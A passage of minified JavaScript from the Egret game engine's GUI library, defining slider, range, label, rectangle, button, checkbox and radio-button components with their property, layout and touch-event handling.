h=i[j];this.currentValue[h.prop]=h.from+(h.to-h.from)*g}};c.addAnimation=function(e){-1==c.activeAnimations.indexOf(e)&&(c.activeAnimations.push(e),c.registered||(c.registered=!0,a.Ticker.getInstance().register(c.onEnterFrame,null)))};c.removeAnimation=function(e){e=c.activeAnimations.indexOf(e);-1!=e&&(c.activeAnimations.splice(e,1),e<=c.currentIntervalIndex&&c.currentIntervalIndex--);0==c.activeAnimations.length&&c.registered&&(c.registered=!1,a.Ticker.getInstance().unregister(c.onEnterFrame,null))};c.onEnterFrame=function(e,f){c.currentTime=a.getTimer();for(c.currentIntervalIndex=0;c.currentIntervalIndex<c.activeAnimations.length;){c.activeAnimations[c.currentIntervalIndex].doInterval(),c.currentIntervalIndex++}c.currentIntervalIndex=-1;0==c.activeAnimations.length&&c.registered&&(c.registered=!1,a.Ticker.getInstance().unregister(c.onEnterFrame,null))};c.currentTime=0;c.TIMER_RESOLUTION=1000/60;c.activeAnimations=[];c.currentIntervalIndex=-1;return c}();d.Animation=b;b.prototype.__class__="egret.gui.Animation"})(a.gui||(a.gui={}))})(egret||(egret={}));__extends=this.__extends||function(g,h){function d(){this.constructor=g}for(var a in h){h.hasOwnProperty(a)&&(g[a]=h[a])}d.prototype=h.prototype;g.prototype=new d};(function(a){(function(d){var b=function(c){function e(){c.call(this);this._maximum=100;this.maxChanged=!1;this._minimum=0;this.minChanged=!1;this._stepSize=1;this.stepSizeChanged=!1;this._changedValue=this._value=0;this.valueChanged=!1;this._snapInterval=1;this._explicitSnapInterval=this.snapIntervalChanged=!1}__extends(e,c);Object.defineProperty(e.prototype,"maximum",{get:function(){return this._maximum},set:function(f){this._setMaximun(f)},enumerable:!0,configurable:!0});e.prototype._setMaximun=function(f){f!=this._maximum&&(this._maximum=f,this.maxChanged=!0,this.invalidateProperties())};Object.defineProperty(e.prototype,"minimum",{get:function(){return this._minimum},set:function(f){this._setMinimun(f)},enumerable:!0,configurable:!0});e.prototype._setMinimun=function(f){f!=this._minimum&&(this._minimum=f,this.minChanged=!0,this.invalidateProperties())};Object.defineProperty(e.prototype,"stepSize",{get:function(){return this._stepSize},set:function(f){f!=this._stepSize&&(this._stepSize=f,this.stepSizeChanged=!0,this.invalidateProperties())},enumerable:!0,configurable:!0});Object.defineProperty(e.prototype,"value",{get:function(){return this._getValue()},set:function(f){this._setValue(f)},enumerable:!0,configurable:!0});e.prototype._setValue=function(f){f!=this.value&&(this._changedValue=f,this.valueChanged=!0,this.invalidateProperties())};e.prototype._getValue=function(){return this.valueChanged?this._changedValue:this._value};Object.defineProperty(e.prototype,"snapInterval",{get:function(){return this._snapInterval},set:function(f){this._explicitSnapInterval=!0;f!=this._snapInterval&&(isNaN(f)?(this._snapInterval=1,this._explicitSnapInterval=!1):this._snapInterval=f,this.stepSizeChanged=this.snapIntervalChanged=!0,this.invalidateProperties())},enumerable:!0,configurable:!0});e.prototype.commitProperties=function(){c.prototype.commitProperties.call(this);this.minimum>this.maximum&&(this.maxChanged?this._maximum=this._minimum:this._minimum=this._maximum);if(this.valueChanged||this.maxChanged||this.minChanged||this.snapIntervalChanged){var f=this.valueChanged?this._changedValue:this._value;this.snapIntervalChanged=this.minChanged=this.maxChanged=this.valueChanged=!1;this.setValue(this.nearestValidValue(f,this.snapInterval))}this.stepSizeChanged&&(this._explicitSnapInterval?this._stepSize=this.nearestValidSize(this._stepSize):(this._snapInterval=this._stepSize,this.setValue(this.nearestValidValue(this._value,this.snapInterval))),this.stepSizeChanged=!1)};e.prototype.nearestValidSize=function(g){var f=this.snapInterval;if(0==f){return g}g=Math.round(g/f)*f;return Math.abs(g)<f?f:g};e.prototype.nearestValidValue=function(i,g){if(0==g){return Math.max(this.minimum,Math.min(this.maximum,i))}var f=this.maximum-this.minimum,j=1;i-=this.minimum;g!=Math.round(g)&&(j=(1+g).toString().split("."),j=Math.pow(10,j[1].length),f*=j,i=Math.round(i*j),g=Math.round(g*j));var h=Math.max(0,Math.floor(i/g)*g),f=Math.min(f,Math.floor((i+g)/g)*g);return(i-h>=(f-h)/2?f:h)/j+this.minimum};e.prototype.setValue=function(f){this._value!=f&&(isNaN(f)&&(f=0),!isNaN(this.maximum)&&!isNaN(this.minimum)&&this.maximum>this.minimum?this._value=Math.min(this.maximum,Math.max(this.minimum,f)):this._value=f,this.valueChanged=!1)};e.prototype.changeValueByStep=function(f){"undefined"===typeof f&&(f=!0);0!=this.stepSize&&this.setValue(this.nearestValidValue(f?this.value+this.stepSize:this.value-this.stepSize,this.snapInterval))};return e}(d.SkinnableComponent);d.Range=b;b.prototype.__class__="egret.gui.Range"})(a.gui||(a.gui={}))})(egret||(egret={}));__extends=this.__extends||function(g,h){function d(){this.constructor=g}for(var a in h){h.hasOwnProperty(a)&&(g[a]=h[a])}d.prototype=h.prototype;g.prototype=new d};(function(a){(function(d){var b=function(c){function e(){c.call(this);this._slideDuration=300;this.needUpdateValue=!1;this.addEventListener(a.Event.ADDED_TO_STAGE,this.addedToStageHandler,this);this.addEventListener(a.TouchEvent.TOUCH_BEGIN,this.mouseDownHandler,this)}__extends(e,c);Object.defineProperty(e.prototype,"slideDuration",{get:function(){return this._slideDuration},set:function(f){this._slideDuration=f},enumerable:!0,configurable:!0});Object.defineProperty(e.prototype,"maximum",{get:function(){return this._maximum},set:function(f){f!=this._maximum&&(this._setMaximun(f),this.invalidateDisplayList())},enumerable:!0,configurable:!0});Object.defineProperty(e.prototype,"minimum",{get:function(){return this._minimum},set:function(f){f!=this._minimum&&(this._setMinimun(f),this.invalidateDisplayList())},enumerable:!0,configurable:!0});Object.defineProperty(e.prototype,"value",{get:function(){return this._getValue()},set:function(f){f!=this._getValue()&&(this._setValue(f),this.invalidateDisplayList())},enumerable:!0,configurable:!0});e.prototype.setValue=function(f){c.prototype.setValue.call(this,f);this.invalidateDisplayList()};e.prototype.pointToValue=function(g,f){return this.minimum};e.prototype.changeValueByStep=function(g){"undefined"===typeof g&&(g=!0);var f=this.value;c.prototype.changeValueByStep.call(this,g);this.value!=f&&this.dispatchEventWith(a.Event.CHANGE)};e.prototype.partAdded=function(g,f){c.prototype.partAdded.call(this,g,f);f==this.thumb?(this.thumb.addEventListener(a.TouchEvent.TOUCH_BEGIN,this.thumb_mouseDownHandler,this),this.thumb.addEventListener(d.ResizeEvent.RESIZE,this.thumb_resizeHandler,this),this.thumb.addEventListener(d.UIEvent.UPDATE_COMPLETE,this.thumb_updateCompleteHandler,this),this.thumb.stickyHighlighting=!0):f==this.track&&(this.track.addEventListener(a.TouchEvent.TOUCH_BEGIN,this.track_mouseDownHandler,this),this.track.addEventListener(d.ResizeEvent.RESIZE,this.track_resizeHandler,this))};e.prototype.partRemoved=function(g,f){c.prototype.partRemoved.call(this,g,f);f==this.thumb?(this.thumb.removeEventListener(a.TouchEvent.TOUCH_BEGIN,this.thumb_mouseDownHandler,this),this.thumb.removeEventListener(d.ResizeEvent.RESIZE,this.thumb_resizeHandler,this),this.thumb.removeEventListener(d.UIEvent.UPDATE_COMPLETE,this.thumb_updateCompleteHandler,this)):f==this.track&&(this.track.removeEventListener(a.TouchEvent.TOUCH_BEGIN,this.track_mouseDownHandler,this),this.track.removeEventListener(d.ResizeEvent.RESIZE,this.track_resizeHandler,this))};e.prototype.updateDisplayList=function(g,f){c.prototype.updateDisplayList.call(this,g,f);this.updateSkinDisplayList()};e.prototype.updateSkinDisplayList=function(){};e.prototype.addedToStageHandler=function(f){this.updateSkinDisplayList()};e.prototype.track_resizeHandler=function(f){this.updateSkinDisplayList()};e.prototype.thumb_resizeHandler=function(f){this.updateSkinDisplayList()};e.prototype.thumb_updateCompleteHandler=function(f){this.updateSkinDisplayList();this.thumb.removeEventListener(d.UIEvent.UPDATE_COMPLETE,this.thumb_updateCompleteHandler,this)};e.prototype.thumb_mouseDownHandler=function(f){d.UIGlobals.stage.addEventListener(a.TouchEvent.TOUCH_MOVE,this.stage_mouseMoveHandler,this);d.UIGlobals.stage.addEventListener(a.TouchEvent.TOUCH_END,this.stage_mouseUpHandler,this);d.UIGlobals.stage.addEventListener(a.Event.LEAVE_STAGE,this.stage_mouseUpHandler,this);this.addEventListener(a.Event.ENTER_FRAME,this.onEnterFrame,this);f=this.thumb.globalToLocal(f.stageX,f.stageY,a.Point.identity);this._clickOffsetX=f.x;this._clickOffsetY=f.y;d.TrackBaseEvent.dispatchTrackBaseEvent(this,d.TrackBaseEvent.THUMB_PRESS);d.UIEvent.dispatchUIEvent(this,d.UIEvent.CHANGE_START)};e.prototype.onEnterFrame=function(f){this.needUpdateValue&&this.track&&(this.updateWhenMouseMove(),this.needUpdateValue=!1)};e.prototype.updateWhenMouseMove=function(){if(this.track){var f=this.track.globalToLocal(this._moveStageX,this._moveStageY,a.Point.identity),f=this.pointToValue(f.x-this._clickOffsetX,f.y-this._clickOffsetY),f=this.nearestValidValue(f,this.snapInterval);f!=this.value&&(this.setValue(f),this.validateDisplayList(),d.TrackBaseEvent.dispatchTrackBaseEvent(this,d.TrackBaseEvent.THUMB_DRAG),this.dispatchEventWith(a.Event.CHANGE))}};e.prototype.stage_mouseMoveHandler=function(f){this._moveStageX=f.stageX;this._moveStageY=f.stageY;this.needUpdateValue||(this.needUpdateValue=!0)};e.prototype.stage_mouseUpHandler=function(f){d.UIGlobals.stage.removeEventListener(a.TouchEvent.TOUCH_MOVE,this.stage_mouseMoveHandler,this);d.UIGlobals.stage.removeEventListener(a.TouchEvent.TOUCH_END,this.stage_mouseUpHandler,this);d.UIGlobals.stage.removeEventListener(a.Event.LEAVE_STAGE,this.stage_mouseUpHandler,this);this.removeEventListener(a.Event.ENTER_FRAME,this.updateWhenMouseMove,this);this.needUpdateValue&&(this.updateWhenMouseMove(),this.needUpdateValue=!1);d.TrackBaseEvent.dispatchTrackBaseEvent(this,d.TrackBaseEvent.THUMB_RELEASE);d.UIEvent.dispatchUIEvent(this,d.UIEvent.CHANGE_END)};e.prototype.track_mouseDownHandler=function(f){};e.prototype.mouseDownHandler=function(f){d.UIGlobals.stage.addEventListener(a.TouchEvent.TOUCH_END,this.stage_mouseUpSomewhereHandler,this);d.UIGlobals.stage.addEventListener(a.Event.LEAVE_STAGE,this.stage_mouseUpSomewhereHandler,this);this.mouseDownTarget=f.target};e.prototype.stage_mouseUpSomewhereHandler=function(g){d.UIGlobals.stage.removeEventListener(a.TouchEvent.TOUCH_END,this.stage_mouseUpSomewhereHandler,this);d.UIGlobals.stage.removeEventListener(a.Event.LEAVE_STAGE,this.stage_mouseUpSomewhereHandler,this);if(this.mouseDownTarget!=g.target&&g instanceof a.TouchEvent&&this.contains(g.target)){var f=g.target.localToGlobal(g.localX,g.localY);a.TouchEvent.dispatchTouchEvent(this,a.TouchEvent.TOUCH_TAP,g.touchPointID,f.x,f.y,g.ctrlKey,g.altKey,g.shiftKey,g.touchDown)}this.mouseDownTarget=null};return e}(d.Range);d.TrackBase=b;b.prototype.__class__="egret.gui.TrackBase"})(a.gui||(a.gui={}))})(egret||(egret={}));__extends=this.__extends||function(g,h){function d(){this.constructor=g}for(var a in h){h.hasOwnProperty(a)&&(g[a]=h[a])}d.prototype=h.prototype;g.prototype=new d};(function(a){(function(d){var b=function(c){function e(){c.call(this);this._showTrackHighlight=!0;this._pendingValue=0;this._liveDragging=!0;this.maximum=10}__extends(e,c);Object.defineProperty(e.prototype,"showTrackHighlight",{get:function(){return this._showTrackHighlight},set:function(f){this._showTrackHighlight!=f&&(this._showTrackHighlight=f,this.trackHighlight&&(this.trackHighlight.visible=f),this.invalidateDisplayList())},enumerable:!0,configurable:!0});Object.defineProperty(e.prototype,"pendingValue",{get:function(){return this._pendingValue},set:function(f){f!=this._pendingValue&&(this._pendingValue=f,this.invalidateDisplayList())},enumerable:!0,configurable:!0});e.prototype.setValue=function(f){this._pendingValue=f;c.prototype.setValue.call(this,f)};e.prototype.animationUpdateHandler=function(f){this.pendingValue=f.currentValue.value};e.prototype.animationEndHandler=function(f){this.setValue(this.slideToValue);this.dispatchEventWith(a.Event.CHANGE);d.UIEvent.dispatchUIEvent(this,d.UIEvent.CHANGE_END)};e.prototype.stopAnimation=function(){this.animator.stop();this.setValue(this.nearestValidValue(this.pendingValue,this.snapInterval));this.dispatchEventWith(a.Event.CHANGE);d.UIEvent.dispatchUIEvent(this,d.UIEvent.CHANGE_END)};e.prototype.thumb_mouseDownHandler=function(f){this.animator&&this.animator.isPlaying&&this.stopAnimation();c.prototype.thumb_mouseDownHandler.call(this,f)};Object.defineProperty(e.prototype,"liveDragging",{get:function(){return this._liveDragging},set:function(f){this._liveDragging=f},enumerable:!0,configurable:!0});e.prototype.updateWhenMouseMove=function(){if(this.track){var f=this.track.globalToLocal(this._moveStageX,this._moveStageY,a.Point.identity),f=this.pointToValue(f.x-this._clickOffsetX,f.y-this._clickOffsetY),f=this.nearestValidValue(f,this.snapInterval);f!=this.pendingValue&&(d.TrackBaseEvent.dispatchTrackBaseEvent(this,d.TrackBaseEvent.THUMB_DRAG),!0==this.liveDragging?(this.setValue(f),this.dispatchEventWith(a.Event.CHANGE)):this.pendingValue=f)}};e.prototype.stage_mouseUpHandler=function(f){c.prototype.stage_mouseUpHandler.call(this,f);!1==this.liveDragging&&this.value!=this.pendingValue&&(this.setValue(this.pendingValue),this.dispatchEventWith(a.Event.CHANGE))};e.prototype.track_mouseDownHandler=function(f){this.enabled&&(f=this.track.globalToLocal(f.stageX-(this.thumb?this.thumb.width:0)/2,f.stageY-(this.thumb?this.thumb.height:0)/2,a.Point.identity),f=this.pointToValue(f.x,f.y),f=this.nearestValidValue(f,this.snapInterval),f!=this.pendingValue&&(0!=this.slideDuration?(this.animator||(this.animator=new d.Animation(this.animationUpdateHandler,this),this.animator.endFunction=this.animationEndHandler),this.animator.isPlaying&&this.stopAnimation(),this.slideToValue=f,this.animator.duration=this.slideDuration*(Math.abs(this.pendingValue-this.slideToValue)/(this.maximum-this.minimum)),this.animator.motionPaths=[{prop:"value",from:this.pendingValue,to:this.slideToValue}],d.UIEvent.dispatchUIEvent(this,d.UIEvent.CHANGE_START),this.animator.play()):(this.setValue(f),this.dispatchEventWith(a.Event.CHANGE))))};e.prototype.partAdded=function(g,f){c.prototype.partAdded.call(this,g,f);f==this.trackHighlight&&(this.trackHighlight.touchEnabled=!1,this.trackHighlight instanceof a.DisplayObjectContainer&&(this.trackHighlight.touchChildren=!1),this.trackHighlight.visible=this._showTrackHighlight)};return e}(d.TrackBase);d.SliderBase=b;b.prototype.__class__="egret.gui.SliderBase"})(a.gui||(a.gui={}))})(egret||(egret={}));__extends=this.__extends||function(g,h){function d(){this.constructor=g}for(var a in h){h.hasOwnProperty(a)&&(g[a]=h[a])}d.prototype=h.prototype;g.prototype=new d};(function(a){(function(d){var b=function(c){function e(){c.call(this);this._maxDisplayedLines=0;this.lastUnscaledWidth=NaN;this._padding=0;this._paddingBottom=this._paddingTop=this._paddingRight=this._paddingLeft=NaN;this.addEventListener(d.UIEvent.UPDATE_COMPLETE,this.updateCompleteHandler,this)}__extends(e,c);e.prototype.updateCompleteHandler=function(f){this.lastUnscaledWidth=NaN};Object.defineProperty(e.prototype,"maxDisplayedLines",{get:function(){return this._maxDisplayedLines},set:function(f){this._maxDisplayedLines!=f&&(this._maxDisplayedLines=f,this.invalidateSize(),this.invalidateDisplayList())},enumerable:!0,configurable:!0});Object.defineProperty(e.prototype,"padding",{get:function(){return this._padding},set:function(f){this._padding!=f&&(this._padding=f,this.invalidateSize(),this.invalidateDisplayList())},enumerable:!0,configurable:!0});Object.defineProperty(e.prototype,"paddingLeft",{get:function(){return this._paddingLeft},set:function(f){this._paddingLeft!=f&&(this._paddingLeft=f,this.invalidateSize(),this.invalidateDisplayList())},enumerable:!0,configurable:!0});Object.defineProperty(e.prototype,"paddingRight",{get:function(){return this._paddingRight},set:function(f){this._paddingRight!=f&&(this._paddingRight=f,this.invalidateSize(),this.invalidateDisplayList())},enumerable:!0,configurable:!0});Object.defineProperty(e.prototype,"paddingTop",{get:function(){return this._paddingTop},set:function(f){this._paddingTop!=f&&(this._paddingTop=f,this.invalidateSize(),this.invalidateDisplayList())},enumerable:!0,configurable:!0});Object.defineProperty(e.prototype,"paddingBottom",{get:function(){return this._paddingBottom},set:function(f){this._paddingBottom!=f&&(this._paddingBottom=f,this.invalidateSize(),this.invalidateDisplayList())},enumerable:!0,configurable:!0});e.prototype.measure=function(){this._invalidatePropertiesFlag&&this.validateProperties();if(this.isSpecialCase()){if(isNaN(this.lastUnscaledWidth)){this._oldPreferHeight=this._oldPreferWidth=NaN}else{this.measureUsingWidth(this.lastUnscaledWidth);return}}var f;isNaN(this.explicitWidth)?10000!=this.maxWidth&&(f=this.maxWidth):f=this.explicitWidth;this.measureUsingWidth(f)};e.prototype.isSpecialCase=function(){return 1!=this._maxDisplayedLines&&(!isNaN(this.percentWidth)||!isNaN(this.left)&&!isNaN(this.right))&&isNaN(this.explicitHeight)&&isNaN(this.percentHeight)};e.prototype.measureUsingWidth=function(k){var h=this._textField.text;this._textChanged&&(this._textField.text=this._text);var g=isNaN(this._padding)?0:this._padding,l=isNaN(this._paddingLeft)?g:this._paddingLeft,j=isNaN(this._paddingRight)?g:this._paddingRight,i=isNaN(this._paddingTop)?g:this._paddingTop,g=isNaN(this._paddingBottom)?g:this._paddingBottom;this._textField.width=NaN;this._textField.height=NaN;isNaN(k)||(this._textField.width=k-l-j);this.measuredWidth=Math.ceil(this._textField.measuredWidth);this.measuredHeight=Math.ceil(this._textField.measuredHeight);0<this._maxDisplayedLines&&this._textField.numLines>this._maxDisplayedLines&&(k=this._textField.lineSpacing,this.measuredHeight=(this._textField.size+k)*this._maxDisplayedLines-k);this.measuredWidth+=l+j;this.measuredHeight+=i+g;this._textField.text=h};e.prototype.updateDisplayList=function(m,h){this.$updateDisplayList(m,h);var g=isNaN(this._padding)?0:this._padding,n=isNaN(this._paddingLeft)?g:this._paddingLeft,l=isNaN(this._paddingRight)?g:this._paddingRight,j=isNaN(this._paddingTop)?g:this._paddingTop,g=isNaN(this._paddingBottom)?g:this._paddingBottom;this._textField.x=n;this._textField.y=j;if(this.isSpecialCase()){var i=isNaN(this.lastUnscaledWidth)||this.lastUnscaledWidth!=m;this.lastUnscaledWidth=m;if(i){this._oldPreferHeight=this._oldPreferWidth=NaN;this.invalidateSize();return}}this._invalidateSizeFlag&&this.validateSize();this._textField.visible||(this._textField.visible=!0);this._textField.width=m-n-l;n=h-j-g;this._textField.height=n;0<this._maxDisplayedLines&&this._textField.numLines>this._maxDisplayedLines&&(l=this._textField.lineSpacing,this._textField.height=Math.min(n,(this._textField.size+l)*this._maxDisplayedLines-l))};return e}(d.TextBase);d.Label=b;b.prototype.__class__="egret.gui.Label"})(a.gui||(a.gui={}))})(egret||(egret={}));__extends=this.__extends||function(g,h){function d(){this.constructor=g}for(var a in h){h.hasOwnProperty(a)&&(g[a]=h[a])}d.prototype=h.prototype;g.prototype=new d};(function(a){(function(d){var b=function(c){function e(){c.call(this);this._fillColor=16777215;this._fillAlpha=1;this._strokeColor=4473924;this._strokeAlpha=0;this._strokeWeight=1;this.touchChildren=!1}__extends(e,c);Object.defineProperty(e.prototype,"graphics",{get:function(){this._graphics||(this._graphics=new a.Graphics);return this._graphics},enumerable:!0,configurable:!0});e.prototype._render=function(f){this._graphics&&this._graphics._draw(f);c.prototype._render.call(this,f)};Object.defineProperty(e.prototype,"fillColor",{get:function(){return this._fillColor},set:function(f){this._fillColor!=f&&(this._fillColor=f,this.invalidateDisplayList())},enumerable:!0,configurable:!0});Object.defineProperty(e.prototype,"fillAlpha",{get:function(){return this._fillAlpha},set:function(f){this._fillAlpha!=f&&(this._fillAlpha=f,this.invalidateDisplayList())},enumerable:!0,configurable:!0});Object.defineProperty(e.prototype,"strokeColor",{get:function(){return this._strokeColor},set:function(f){this._strokeColor!=f&&(this._strokeColor=f,this.invalidateDisplayList())},enumerable:!0,configurable:!0});Object.defineProperty(e.prototype,"strokeAlpha",{get:function(){return this._strokeAlpha},set:function(f){this._strokeAlpha!=f&&(this._strokeAlpha=f,this.invalidateDisplayList())},enumerable:!0,configurable:!0});Object.defineProperty(e.prototype,"strokeWeight",{get:function(){return this._strokeWeight},set:function(f){this._strokeWeight!=f&&(this._strokeWeight=f,this.invalidateDisplayList())},enumerable:!0,configurable:!0});e.prototype._measureBounds=function(){var g=c.prototype._measureBounds.call(this),f=this.width,h=this.height;0<g.x&&(g.x=0);0<g.y&&(g.y=0);0+f>g.right&&(g.right=0+f);0+h>g.bottom&&(g.bottom=0+h);return g};e.prototype.updateDisplayList=function(g,f){c.prototype.updateDisplayList.call(this,g,g);var h=this.graphics;h.clear();h.beginFill(this._fillColor,this._fillAlpha);0<this._strokeAlpha&&h.lineStyle(this._strokeWeight,this._strokeColor,this._strokeAlpha,!0,"normal","square","miter");h.drawRect(0,0,g,f);h.endFill()};return e}(d.UIComponent);d.Rect=b;b.prototype.__class__="egret.gui.Rect"})(a.gui||(a.gui={}))})(egret||(egret={}));__extends=this.__extends||function(g,h){function d(){this.constructor=g}for(var a in h){h.hasOwnProperty(a)&&(g[a]=h[a])}d.prototype=h.prototype;g.prototype=new d};(function(a){(function(d){var b=function(c){function e(){c.call(this);this.hostComponentKey="egret.gui.Button"}__extends(e,c);return e}(d.ButtonBase);d.Button=b;b.prototype.__class__="egret.gui.Button"})(a.gui||(a.gui={}))})(egret||(egret={}));__extends=this.__extends||function(g,h){function d(){this.constructor=g}for(var a in h){h.hasOwnProperty(a)&&(g[a]=h[a])}d.prototype=h.prototype;g.prototype=new d};(function(a){(function(d){var b=function(c){function e(){c.call(this);this.hostComponentKey="egret.gui.ToggleButton"}__extends(e,c);return e}(d.ToggleButtonBase);d.ToggleButton=b;b.prototype.__class__="egret.gui.ToggleButton"})(a.gui||(a.gui={}))})(egret||(egret={}));__extends=this.__extends||function(g,h){function d(){this.constructor=g}for(var a in h){h.hasOwnProperty(a)&&(g[a]=h[a])}d.prototype=h.prototype;g.prototype=new d};(function(a){(function(d){var b=function(c){function e(){c.call(this);this.hostComponentKey="egret.gui.CheckBox"}__extends(e,c);return e}(d.ToggleButtonBase);d.CheckBox=b;b.prototype.__class__="egret.gui.CheckBox"})(a.gui||(a.gui={}))})(egret||(egret={}));__extends=this.__extends||function(g,h){function d(){this.constructor=g}for(var a in h){h.hasOwnProperty(a)&&(g[a]=h[a])}d.prototype=h.prototype;g.prototype=new d};(function(a){(function(d){var b=function(c){function e(){c.call(this);this.radioButtons=[];this._enabled=!0;this._name="_radioButtonGroup"+e.groupCount;e.groupCount++}__extends(e,c);Object.defineProperty(e.prototype,"enabled",{get:function(){return this._enabled},set:function(f){if(this._enabled!=f){for(this._enabled=f,f=0;f<this.numRadioButtons;f++){this.getRadioButtonAt(f).invalidateSkinState()}}},enumerable:!0,configurable:!0});Object.defineProperty(e.prototype,"numRadioButtons",{get:function(){return this.radioButtons.length},enumerable:!0,configurable:!0});Object.defineProperty(e.prototype,"selectedValue",{get:function(){return this.selection?null!=this.selection.value?this.selection.value:this.selection.label:null},set:function(i){this._selectedValue=i;if(null==i){this._setSelection(null,!1)}else{for(var g=this.numRadioButtons,f=0;f<g;f++){var h=this.getRadioButtonAt(f);if(h.value==i||h.label==i){this.changeSelection(f,!1);this._selectedValue=null;d.UIEvent.dispatchUIEvent(this,d.UIEvent.VALUE_COMMIT);break}}}},enumerable:!0,configurable:!0});Object.defineProperty(e.prototype,"selection",{get:function(){return this._selection},set:function(f){this._selection!=f&&this._setSelection(f,!1)},enumerable:!0,configurable:!0});e.prototype.getRadioButtonAt=function(f){return 0<=f&&f<this.numRadioButtons?this.radioButtons[f]:null};e.prototype._addInstance=function(h){function g(r,j){var p=r.parent,o=j.parent;if(!p||!o){return 0}var k=r instanceof d.UIComponent?r.nestLevel:-1,i=j instanceof d.UIComponent?j.nestLevel:-1,l=0,s=0;p==o&&(l="getElementIndex" in p&&"ownerChanged" in r?p.getElementIndex(r):p.getChildIndex(r),s="getElementIndex" in o&&"ownerChanged" in j?o.getElementIndex(j):o.getChildIndex(j));return k>i||l>s?1:k<i||s>l?-1:r==j?0:g(p,o)}h.addEventListener(a.Event.REMOVED,this.radioButton_removedHandler,this);this.radioButtons.push(h);this.radioButtons.sort(g);for(var f=0;f<this.radioButtons.length;f++){this.radioButtons[f]._indexNumber=f}this._selectedValue&&(this.selectedValue=this._selectedValue);!0==h.selected&&(this.selection=h);h._radioButtonGroup=this;h.invalidateSkinState();this.dispatchEventWith("numRadioButtonsChanged")};e.prototype._removeInstance=function(f){this.doRemoveInstance(f,!1)};e.prototype.doRemoveInstance=function(j,h){"undefined"===typeof h&&(h=!0);if(j){for(var g=!1,k=0;k<this.numRadioButtons;k++){var i=this.getRadioButtonAt(k);g?i._indexNumber-=1:i==j&&(h&&j.addEventListener(a.Event.ADDED,this.radioButton_addedHandler,this),j==this._selection&&(this._selection=null),j._radioButtonGroup=null,j.invalidateSkinState(),this.radioButtons.splice(k,1),g=!0,k--)}g&&this.dispatchEventWith("numRadioButtonsChanged")}};e.prototype._setSelection=function(j,h){"undefined"===typeof h&&(h=!0);if(this._selection!=j){if(j){for(var g=this.numRadioButtons,i=0;i<g;i++){if(j==this.getRadioButtonAt(i)){this.changeSelection(i,h);break}}}else{this.selection&&(this._selection.selected=!1,this._selection=null,h&&this.dispatchEventWith(a.Event.CHANGE))}d.UIEvent.dispatchUIEvent(this,d.UIEvent.VALUE_COMMIT)}};e.prototype.changeSelection=function(h,g){"undefined"===typeof g&&(g=!0);var f=this.getRadioButtonAt(h);f&&f!=this._selection&&(this._selection&&(this._selection.selected=!1),this._selection=f,this._selection.selected=!0,g&&this.dispatchEventWith(a.Event.CHANGE))};e.prototype.radioButton_addedHandler=function(f){if(f=f.target){f.removeEventListener(a.Event.ADDED,this.radioButton_addedHandler,this),this._addInstance(f)}};e.prototype.radioButton_removedHandler=function(f){if(f=f.target){f.removeEventListener(a.Event.REMOVED,this.radioButton_removedHandler,this),this.doRemoveInstance(f)}};e.groupCount=0;return e}(a.EventDispatcher);d.RadioButtonGroup=b;b.prototype.__class__="egret.gui.RadioButtonGroup"})(a.gui||(a.gui={}))})(egret||(egret={}));__extends=this.__extends||function(g,h){function d(){this.constructor=g}for(var a in h){h.hasOwnProperty(a)&&(g[a]=h[a])}d.prototype=h.prototype;g.prototype=new d};(function(a){(function(d){var b=function(c){function e(){c.call(this);this._indexNumber=0;this._radioButtonGroup=null;this.groupChanged=!1;this._groupName="radioGroup";this.hostComponentKey="egret.gui.RadioButton";this.groupName="radioGroup"}__extends(e,c);Object.defineProperty(e.prototype,"enabled",{get:function(){return this._enabled?!this._radioButtonGroup||this._radioButtonGroup.enabled:!1},set:function(f){this._setEnabled(f)},enumerable:!0,configurable:!0});Object.defineProperty(e.prototype,"group",{get:function(){if(!this._group&&this._groupName){e.automaticRadioButtonGroups||(e.automaticRadioButtonGroups={});var f=e.automaticRadioButtonGroups[this._groupName];f||(f=new d.RadioButtonGroup,f._name=this._groupName,e.automaticRadioButtonGroups[this._groupName]=f);this._group=f}return this._group},set:function(f){this._group!=f&&(this._radioButtonGroup&&this._radioButtonGroup._removeInstance(this),this._groupName=(this._group=f)?this.group._name:"radioGroup",this.groupChanged=!0,this.invalidateProperties(),this.invalidateDisplayList())},enumerable:!0,configurable:!0});Object.defineProperty(e.prototype,"groupName",{get:function(){return this._groupName},set:function(f){f&&""!=f&&(this._groupName=f,this._radioButtonGroup&&this._radioButtonGroup._removeInstance(this),this._group=null,this.groupChanged=!0,this.invalidateProperties(),this.invalidateDisplayList())},enumerable:!0,configurable:!0});e.prototype._setSelected=function(f){c.prototype._setSelected.call(this,f);this.invalidateDisplayList()};Object.defineProperty(e.prototype,"value",{get:function(){return this._value},set:function(f){this._value!=f&&(this._value=f,this.selected&&this.group&&d.UIEvent.dispatchUIEvent(this.group,d.UIEvent.VALUE_COMMIT))},enumerable:!0,configurable:!0});e.prototype.commitProperties=function(){this.groupChanged&&(this.addToGroup(),this.groupChanged=!1);c.prototype.commitProperties.call(this)};e.prototype.updateDisplayList=function(g,f){c.prototype.updateDisplayList.call(this,g,f);this.group&&(this.selected?this._group.selection=this:this.group.selection==this&&(this._group.selection=null))};e.prototype.buttonReleased=function(){this.enabled&&!this.selected&&(this._radioButtonGroup||this.addToGroup(),c.prototype.buttonReleased.call(this),this.group._setSelection(this))};e.prototype.addToGroup=function(){var f=this.group;f&&f._addInstance(this);return f};return e}(d.ToggleButtonBase);d.RadioButton=b;b.prototype.__class__="egret.gui.RadioButton"})(a.gui||(a.gui={}))})(egret||(egret={}));__extends=this.__extends||function(g,h){function d(){this.constructor=g}for(var a in h){h.hasOwnProperty(a)&&(g[a]=h[a])}d.prototype=h.prototype;g.prototype=new d};(function(a){(function(d){var b=function(c){function e(){c.call(this);this.elementsContentChanged=this.createChildrenCalled=!1;this._elementsContent=[]}__extends(e,c);e.prototype.createChildren=function(){c.prototype.createChildren.call(this);this.createChildrenCalled=!0;this.elementsContentChanged&&(this.elementsContentChanged=!1,this.setElementsContent(this._elementsContent))};e.prototype._getElementsContent=function(){return this._elementsContent};Object.defineProperty(e.prototype,"elementsContent",{set:function(g){null==g&&(g=[]);if(g!=this._elementsContent){if(this.createChildrenCalled){this.setElementsContent(g)}else{this.elementsContentChanged=!0;for(var f=this._elementsContent.length-1;0<=f;f--){this._elementRemoved(this._elementsContent[f],f)}this._elementsContent=g}}},enumerable:!0,configurable:!0});e.prototype.setElementsContent=function(h){var g;for(g=this._elementsContent.length-1;0<=g;g--){this._elementRemoved(this._elementsContent[g],g)}this._elementsContent=h.concat();h=this._elementsContent.length;for(g=0;g<h;g++){var f=this._elementsContent[g];f.parent&&"removeElement" in 